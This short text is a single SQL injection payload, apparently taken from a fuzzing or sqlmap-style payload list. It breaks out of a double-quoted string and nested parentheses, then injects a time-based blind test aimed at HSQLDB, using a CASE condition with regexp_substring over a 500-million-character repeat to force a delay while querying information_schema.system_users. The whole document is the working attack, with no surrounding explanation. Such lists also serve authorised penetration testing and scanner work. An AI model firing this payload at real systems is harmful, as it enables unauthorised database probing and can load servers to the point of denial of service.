1"   )    )     )    (  select   (  case when   (  5451  =  5451  )   then regexp_substring  (  repeat  (  right  (  char  (  5451  )  ,0  )  ,500000000  )  ,null  )   else char  (  108  )  ||char  (  76  )  ||char  (  112  )  ||char  (  116  )   end  )   from information_schema.system_users  )   and    (    (     (  "znzb" like "znzb